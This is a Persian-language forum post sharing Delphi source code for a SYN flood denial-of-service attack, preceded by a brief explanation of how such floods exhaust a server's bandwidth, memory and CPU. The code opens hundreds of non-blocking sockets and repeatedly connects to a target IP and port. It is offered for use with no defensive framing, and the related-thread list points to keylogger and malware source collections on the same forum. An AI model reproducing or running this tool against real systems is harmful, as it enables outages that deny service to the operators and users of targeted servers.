• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: سورس کد حمله SYN Flood (دلفی)
حالت موضوعی
#1
در این روش بسیار متداول، حمله‌کننده تعداد زیادی بسته TCP حاوی SYN ارسال می‌کند که به معنای تقاضای شروع ارتباط است، در این صورت گیرنده بسته (هدف حمله کننده) با توجه به درخواست ارتباطی را شروع کرده و در انتظار دریافت ادامه درخواست می‌ماند و چون ادامه درخواست از طریق حمله‌کننده ارسال نمی‌شود، سرور مورد نظر برای مدتی ارتباط را در خود نگه می‌دارد که تعداد زیاد این روند باعث استفاده زیاد از پهنای باند، RAM و CPU سرور مورد نظر شده و توانایی پاسخ به سایر درخواست‌ها را نخواهد داشت.

سورس کد syn flood به زبان دلفی:

کد:
unit synflood;
interface
uses
  winsock,
  windows;
type
    Tssyn = Record
    TargetIP        :string;
    TargetPort      :integer;
    len             :integer;
    end;
var
  ddos :Tssyn;
  ssynthread :Thandle;
procedure SendSuperSyn;
const
  SUPERSYN_SOCKETS = 200;
implementation
procedure SendSuperSyn;
var
  superdelay: integer;
  SockAddr: SOCKADDR_IN;
  sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
  iaddr: IN_ADDR;
  mode: integer;
  c,i: integer;
begin
superdelay := 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr; //ip addy
i := 0;
mode := 1;
  while (i < ddos.len) do
  begin
    for c := 0 to SUPERSYN_SOCKETS do begin
            sock[c] := socket(AF_INET, SOCK_STREAM, 0);
               if (sock[c] = INVALID_SOCKET) then
                      continue;
            ioctlsocket(sock[c],FIONBIO,mode);
    end;
    for c := 0 to SUPERSYN_SOCKETS do
              connect(sock[c], SockAddr, sizeof(SockAddr));
        Sleep(superdelay);
    for c := 0 to SUPERSYN_SOCKETS do
            closesocket(sock[c]); //close sockets
   i := i + 1;
  end;
Suspendthread(ssynthread);
ExitThread(0);
end;
end.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 10,106 06-17-2014، 04:52 PM
آخرین ارسال: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 5,473 11-09-2013، 09:49 PM
آخرین ارسال: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 4,804 01-29-2013، 02:49 PM
آخرین ارسال: Amin_Mansouri
  سورس کد اف تی پی کیلاگر Amin_Mansouri 0 3,180 09-17-2012، 07:12 PM
آخرین ارسال: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 3,619 09-09-2012، 01:17 PM
آخرین ارسال: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 9,870 05-27-2012، 10:44 PM
آخرین ارسال: Ghoghnus
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 3,334 01-10-2012، 11:45 PM
آخرین ارسال: Amin_Mansouri
  درخواست سورس کد کی‌ لاگر newcoder 4 8,819 12-30-2011، 09:19 PM
آخرین ارسال: Ghoghnus
  سورس غیر فعال کردن uac با سی شارپ Amin_Mansouri 0 3,613 10-18-2011، 08:52 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان